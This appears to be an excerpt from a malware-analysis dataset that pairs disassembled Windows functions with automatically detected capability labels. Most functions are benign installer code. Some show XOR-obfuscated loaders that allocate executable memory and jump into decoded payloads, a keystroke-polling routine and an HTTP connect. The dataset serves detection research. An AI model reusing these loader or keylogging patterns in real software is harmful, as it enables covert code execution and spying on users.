joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6d1fd291
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78c]
sub esp, 0x80c
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x788], eax
and dword [ebp - 0x7c], 0
lea eax, [ebp - 0x7c]
push eax
push 0x20019
push 0
push str.SoftwareJavaSoftJava_Deployment_Toolkit
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d1fd306
push edi
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push str.Allow_Unsigned_Installers
push dword [ebp - 0x7c]
mov dword [ebp - 0x80], 0x800
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x7c]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x6d1fd306
xor eax, eax
inc eax
jmp 0x6d1fd317
push str.TOOLKIT_ALLOW_UNSIGNED
call fcn.6d20c62d
neg eax
sbb eax, eax
pop ecx
neg eax
mov ecx, dword [ebp + 0x788]
xor ecx, ebp
call fcn.6d20a065
add ebp, 0x78c
leave
ret

Function at 0x6d1fd9f0
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
push ebx
push esi
mov esi, dword [ebp + 0x7b0]
push edi
lea eax, [ebp - 0x5c]
push eax
push 0x800
call dword [sym.imp.kernel32.dll_GetTempPathA]
xor eax, eax
xor ebx, ebx
mov byte [ebp - 0x60], bl
lea edi, [ebp - 0x5f]
stosw word es:[edi], ax
stosb byte es:[edi], al
push 3
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
push 4
push eax
call fcn.6d212a5d
lea eax, [ebp - 0x60]
push eax
call fcn.6d212a5d
add esp, 0x14
cmp eax, 0x64
jae 0x6d1fda88
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x80], 0x6d2212e4
call dword [sym.imp.USER32.dll_GetActiveWindow]
push eax
lea ecx, [ebp - 0x80]
call fcn.6d1ff6d1
cmp dword [ebp - 0x6c], ebx
je 0x6d1fda81
push dword [ebp - 0x6c]
call fcn.6d212a5d
mov eax, 0x80004005
jmp 0x6d1fdaa2
push str.1000
lea eax, [ebp - 0x5c]
push eax
push str._sJREInstall_s.exe
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
xor eax, eax
mov ecx, dword [ebp + 0x7a4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7a8
leave
ret
Function at 0x6d1fdaba
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x224]
sub esp, 0x2a4
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x220], eax
mov eax, dword [ebp + 0x230]
push ebx
mov ebx, dword [ebp + 0x22c]
push esi
push edi
push 0x44
pop edi
xor esi, esi
push edi
mov dword [ebp + 0x14], eax
lea eax, [ebp - 0x80]
push esi
push eax
mov dword [ebp + 0x10], esi
call fcn.6d20a0b0
lea eax, [ebp + 0x18]
mov dword [ebp - 0x80], edi
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push ebx
push eax
call edi
push dword [ebp + 0x14]
lea eax, [ebp + 0x11c]
push ebx
push str._s__s
push eax
call edi
add esp, 0x24
lea eax, [ebp]
push eax
lea eax, [ebp - 0x80]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp + 0x11c]
push eax
lea eax, [ebp + 0x18]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
cmp eax, esi
jne 0x6d1fdba9
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x2e4
jne 0x6d1fdbe0
push 0x3c
pop edi
push edi
lea eax, [ebp - 0x3c]
push esi
push eax
call fcn.6d20a0b0
lea eax, [ebp + 0x11c]
mov dword [ebp - 0x2c], eax
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 0x40
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x6d220e46
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], 5
mov dword [ebp - 0x1c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp eax, esi
je 0x6d1fdbdc
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x6d1fdbdc
mov dword [ebp], eax
push dword [ebp]
call fcn.6d1fb7a7
or dword [ebp + 0x14], 0xffffffff
lea eax, [ebp + 0x14]
push eax
push dword [ebp]
call dword [sym.imp.kernel32.dll_GetExitCodeProcess]
test eax, eax
je 0x6d1fdbd1
xor eax, eax
cmp dword [ebp + 0x14], esi
sete al
mov dword [ebp + 0x10], eax
push dword [ebp]
call dword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x6d1fdbe5
xor eax, eax
jmp 0x6d1fdbe8
call fcn.6d212a5d
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x220]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x224
leave
ret
Function at 0x6d1ff40f
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0xb8
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x70], eax
movzx eax, word [ebp + 0x7c]
push esi
mov esi, dword [0x6d233754]
push pe_nt_image_headers32
push eax
push esi
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 1
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x6d1ff540
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x6d1ff540
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x6d1ff540
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push edi
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x6d1ff53e
mov ecx, dword [esi + 4]
mov edi, eax
movzx eax, word [esi + 2]
mov dword [ebp - 0x20], ecx
mov ecx, 0x403
add esi, 8
cmp cx, ax
jne 0x6d1ff4dc
lea eax, [ebp - 0x10]
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], eax
call fcn.6d1ff3a8
push dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
push 0
push 0x143
push edi
push dword [eax + 4]
call ebx
cmp eax, 0xffffffff
jne 0x6d1ff4c9
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x10]
cmp dword [ebp - 0x14], eax
je 0x6d1ff531
push dword [ebp - 0x14]
call fcn.6d212a5d
pop ecx
jmp 0x6d1ff531
mov ecx, 0x1234
cmp cx, ax
jne 0x6d1ff531
or dword [ebp - 0x40], 0xffffffff
lea eax, [ebp - 0x10]
push esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x14], eax
call fcn.6d1ff3a8
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x3c], eax
cmp eax, ecx
je 0x6d1ff514
push eax
call fcn.6d212a5d
pop ecx
lea eax, [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x1c]
push 0
push 0x401
push edi
push dword [eax + 4]
call ebx
cmp eax, 0xffffffff
jne 0x6d1ff531
and dword [ebp - 0x18], 0
add esi, dword [ebp - 0x20]
cmp dword [ebp - 0x18], 0
jne 0x6d1ff477
pop edi
pop ebx
mov ecx, dword [ebp + 0x70]
mov eax, dword [ebp - 0x18]
xor ecx, ebp
pop esi
call fcn.6d20a065
add ebp, 0x74
leave
ret 4
Function at 0x6d203536
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
lea ebp, [esp - 0x17a0]
mov eax, 0x1820
call fcn.6d20a9b0
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x179c], eax
push ebx
push esi
mov esi, dword [ebp + 0x17a8]
push edi
mov edi, dword [ebp + 0x17ac]
xor ebx, ebx
push str.FORCED_FX_ROOT
lea eax, [ebp - 0x6c]
push ebx
push eax
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x6c], ebx
mov byte [ebp - 0x64], bl
call fcn.6d20c6a7
add esp, 0xc
cmp dword [ebp - 0x6c], ebx
je 0x6d2035b1
cmp eax, ebx
jne 0x6d2035b1
push str.2.0
push dword [ebp + 0x17b0]
push edi
call fcn.6d212a5d
push dword [ebp - 0x6c]
call fcn.6d212a5d
add esp, 0x10
jmp 0x6d203715
cmp esi, ebx
jne 0x6d2035c4
mov dword [ebp - 0x74], 1
mov byte [ebp + 0x79c], bl
jmp 0x6d203609
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x6d2035c9
sub eax, edx
lea eax, [esi + eax - 1]
mov cl, byte [eax]
cmp cl, 0x2b
jne 0x6d2035e6
mov dword [ebp - 0x74], 1
jmp 0x6d2035f2
cmp cl, 0x2a
jne 0x6d2035f4
mov dword [ebp - 0x7c], 1
mov byte [eax], bl
push esi
lea eax, [ebp + 0x79c]
push 0x800
push eax
call fcn.6d212a5d
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
push 0x20019
push ebx
push 0x6d221a08
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d2036f2
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
mov dword [ebp - 0x70], ebx
push ebx
jmp 0x6d2036de
push str.1.9.0
lea eax, [ebp + 0xf9c]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
js 0x6d2036c9
push dword [ebp - 0x74]
lea eax, [ebp + 0x79c]
push dword [ebp - 0x7c]
push eax
lea eax, [ebp + 0xf9c]
push eax
call fcn.6d212a5d
add esp, 0x10
test eax, eax
je 0x6d2036c9
lea esi, [ebp - 0x64]
lea eax, [ebp + 0xf9c]
mov cl, byte [eax]
cmp cl, byte [esi]
jne 0x6d2036a8
cmp cl, bl
je 0x6d2036a4
mov cl, byte [eax + 1]
cmp cl, byte [esi + 1]
jne 0x6d2036a8
add eax, 2
add esi, 2
cmp cl, bl
jne 0x6d203688
xor eax, eax
jmp 0x6d2036ad
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jle 0x6d2036c9
lea eax, [ebp + 0xf9c]
push eax
lea eax, [ebp - 0x64]
push 0x800
push eax
call fcn.6d212a5d
add esp, 0xc
inc dword [ebp - 0x70]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0xf9c]
push eax
push dword [ebp - 0x70]
push dword [ebp - 0x68]
mov dword [ebp - 0x78], 0x800
call edi
test eax, eax
je 0x6d203649
mov eax, dword [ebp + 0x17b0]
lea ecx, [eax - 1]
push ecx
lea ecx, [ebp - 0x64]
push ecx
push eax
push dword [ebp - 0x80]
call fcn.6d212a5d
add esp, 0x10
push dword [ebp - 0x68]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x179c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x17a0
leave
ret
Function at 0x6d20491d
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d221d88]
fld qword [0x6d221d80]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d20cb40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d20cb40
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d221d78]
fadd qword [0x6d221d70]
call fcn.6d20cb40
neg eax
mov dword [ebp - 0x68], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x50], ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d221d3c
push eax
call fcn.6d212a5d
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d204a47
push 0x6d221d44
jmp 0x6d204a4a
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d212a5d
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7d8
leave
ret 0xc
Function at 0x6d206278
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d221d88]
fld qword [0x6d221d80]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d20cb40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d20cb40
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d221d78]
fadd qword [0x6d221d70]
call fcn.6d20cb40
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x58], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push 0x6d221eb0
push eax
call fcn.6d212a5d
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
jne 0x6d2063b2
push 0x6d221eb8
jmp 0x6d2063b5
push dword [ebp - 0x78]
push 0x20
push eax
call fcn.6d212a5d
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7d8
leave
ret 0x10
Function at 0x6d2070d3
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x7d8]
sub esp, 0x858
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x7d4], eax
mov eax, dword [ebp + 0x7e4]
push ebx
push esi
mov esi, dword [ebp + 0x7e0]
push edi
push esi
mov dword [ebp - 0x78], eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 2
push esi
mov dword [ebp - 0x74], eax
call dword [sym.imp.GDI32.dll_SetGraphicsMode]
push 1
xor ebx, ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_ModifyWorldTransform]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetViewportOrgEx]
push ebx
push ebx
push ebx
push esi
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x58
push esi
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
push 0x5a
push esi
fstp dword [ebp - 0x70]
call edi
mov dword [ebp - 0x6c], eax
fild dword [ebp - 0x6c]
fstp dword [ebp - 0x6c]
fld dword [ebp - 0x70]
fmul qword [0x6d221d88]
fld qword [0x6d221d80]
fdiv st(1), st(0)
fxch st(1)
call fcn.6d20cb40
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0x7e8]
imul eax, eax, 0xa
mov dword [ebp - 0x70], eax
fild dword [ebp - 0x70]
fmul dword [ebp - 0x6c]
fdivrp st(1)
call fcn.6d20cb40
mov dword [ebp - 0x7c], eax
push 1
lea eax, [ebp - 0x80]
push eax
push esi
call dword [sym.imp.GDI32.dll_DPtoLP]
fild dword [ebp - 0x7c]
fabs
fdiv qword [0x6d221d78]
fadd qword [0x6d221d70]
call fcn.6d20cb40
neg eax
cmp dword [ebp + 0x7ec], ebx
mov dword [ebp - 0x68], eax
setne al
mov byte [ebp - 0x53], al
mov eax, dword [ebp + 0x7f0]
neg eax
sbb eax, eax
and eax, 0x2bc
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x5c], ebx
mov byte [ebp - 0x54], bl
mov dword [ebp - 0x52], ebx
mov word [ebp - 0x4e], bx
mov dword [ebp - 0x58], eax
mov eax, 0x800
push eax
lea ecx, [ebp - 0x2c]
push ecx
push 0x1002
push eax
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
push 5
lea eax, [ebp - 0x2c]
push str.Japan
push eax
call fcn.6d212a5d
add esp, 0xc
test eax, eax
lea eax, [ebp - 0x4c]
je 0x6d20721a
push dword [ebp - 0x78]
jmp 0x6d20721f
push 0x6d222010
push 0x20
push eax
call fcn.6d212a5d
add esp, 0xc
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.GDI32.dll_CreateFontIndirectA]
push dword [ebp - 0x74]
mov edi, eax
push esi
call dword [sym.imp.GDI32.dll_RestoreDC]
mov ecx, dword [ebp + 0x7d4]
mov eax, edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.6d20a065
add ebp, 0x7d8
leave
ret 0x14
Function at 0x6d208243
Capabilities:
Get cpu information
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8c
mov eax, dword [0x6d22e258]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
xor esi, esi
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0x80
inc esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x6d2082b5
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push str.identifier
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x6d2082b5
push str.ia64
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_lstrcmpiA]
test eax, eax
jne 0x6d2082b5
xor esi, esi
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.6d20a065
add ebp, 0x78
leave
ret

Function at 0x6d209d93
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x6d2337ac], 0
push esi
push edi
jne 0x6d209d09
call fcn.6d209c75
test eax, eax
je 0x6d209d4e
mov eax, dword [0x6d2337ac]
cmp eax, 1
jne 0x6d209d2a
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x6d209d4e
jmp 0x6d209d90
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x6d209d90
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x6d209d52
xor eax, eax
jmp 0x6d209d90
mov eax, dword [esi]
push dword [0x6d2337ac]
call edi
mov edi, eax
test edi, edi
je 0x6d209d74
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x6d209d90
lea edi, [esi + 0xff0]
push esi
push dword [0x6d2337ac]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x6d209d7a
mov eax, esi
pop edi
pop esi
ret
jmp 0x6d209cf5

Function at 0x6d20a065
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6d22e258]
jne 0x6d20a06f
repz ret
jmp fcn.6d20e6dd

Function at 0x6d212a5d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x6d212a6c
pop dword [ebp - 0x10]
mov eax, 0x49a1bc58
sub eax, 0xdc8091ec
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3d436
push 0
mov eax, 0x129e3210
sub eax, 0xa57c4084
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x682bdb45
sub ecx, 0x682b9435
mov edi, eax
mov ebx, 0x36f91da8
add ebx, 0x362eae58
add ebx, dword [ebp - 0x10]
mov esi, 0xff5a091d
sub dword [ebp - 0xc], eax
mov edx, dword [ebx]
xor dword [ebp - 8], 0xb0c6277c
add edx, esi
xor dword [ebp - 8], 0x854f2dc9
mov dword [edi], edx
mov dword [ebp - 4], 0x4675d4b5
add edi, 0x7d4ac50b
sub edi, 0x7d4ac507
add ebx, 4
loop 0x6d212ac5
add eax, 0x98191e9b
add eax, 0x67e7f078
mov ebx, eax
add eax, 0x2fe3d4b6
add eax, 0xd01c2b4f
mov ecx, 0x11f5172
add ecx, 0x6bffae8e
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1000aeb0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000aeb9
ret
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x10013e93
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x10013ea2
pop dword [ebp - 0x20]
mov eax, 0x10013ea2
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x3d614
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xb61f7cbd
sub ecx, 0xb61f2b01
mov edi, eax
mov edx, 0x1c14091c
add edx, 0xf3eed8e4
add edx, dword [ebp - 0x20]
mov esi, 0x6c07f94f
sub esi, 0xabc079a5
xor dword [ebp - 0x1c], 0x90e4571f
mov ebx, dword [edx]
sub ebx, esi
mov dword [edi], ebx
sub dword [ebp - 0x18], 0x7e2786ec
add edi, 0x1cc859f2
sub edi, 0x1cc859ee
add edx, 0x48dc54ad
add edx, 0xb723ab57
loop 0x10013ef7
add eax, 0x43d03a39
sub eax, 0x43cf0076
xor ebx, ebx
add ebx, eax
add eax, 0x16bf1de3
add eax, 0xe940e222
mov ecx, 0xcdb66f1b
add ecx, 0x424990e5
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10006240
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x10], 0x102
push edi
mov edi, dword [ebp + 0x24]
mov dword [edi], 1
je 0x100062eb
push ebx
mov ebx, dword [sym.imp.user32.dll_GetKeyState]
push esi
mov esi, dword [ebp + 0x14]
push 0x10
mov dword [ebp + 0x24], esi
call ebx
test ax, ax
jns 0x1000627a
or esi, 0x10000
mov dword [ebp + 0x24], esi
push 0x11
call ebx
test ax, ax
jns 0x1000628c
or esi, 0x20000
mov dword [ebp + 0x24], esi
push 0x12
call ebx
test ax, ax
jns 0x1000629e
or esi, 0x40000
mov dword [ebp + 0x24], esi
mov eax, dword [0x100808f0]
test al, 1
jne 0x100062c6
or eax, 1
push 0x100808c4
mov dword [0x100808f0], eax
call fcn.100309a0
push 0x100620a0
call fcn.100309a0
add esp, 8
mov esi, dword [0x100808c8]
lea eax, [ebp + 0x24]
push eax
lea eax, [ebp + 0x10]
push eax
mov ecx, 0x100808c4
call fcn.100309a0
cmp dword [ebp + 0x10], esi
pop esi
pop ebx
je 0x100062eb
mov dword [edi], 0
xor eax, eax
pop edi
pop ebp
ret 0x20

Function at 0x1002a5a0
Capabilities:
Connect to http server

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10060d18
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x1007f45c]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea ecx, [esi + 0x34]
call fcn.1003def0
test eax, eax
jne 0x1002a5da
xor ebx, ebx
jmp 0x1002a5e4
lea ecx, [esi + 0x34]
call fcn.1003def0
mov ebx, eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [esi + 0x34]
call fcn.100309a0
push 0
push 0
push 3
push 0
push 0
push ebx
push dword [eax]
push dword [esi + 0x4c]
call dword [sym.imp.wininet.dll_InternetConnectW]
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
mov dword [esi + 0x50], eax
lea eax, [edx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x1002a626
mov ecx, dword [edx]
mov eax, dword [ecx]
push edx
call dword [eax + 4]
cmp dword [esi + 0x50], 0
jne 0x1002a669
mov edi, dword [sym.imp.kernel32.dll_GetLastError]
call edi
cmp eax, 0x3e5
je 0x1002a669
push 0x10063700
lea ecx, [ebp - 0x14]
call fcn.100309a0
push eax
mov dword [ebp - 4], 0
call edi
push eax
lea ecx, [ebp - 0x24]
call fcn.100309a0
push 0x1007469c
lea eax, [ebp - 0x24]
push eax
call fcn.100309a0
push 2
mov ecx, esi
call fcn.100309a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret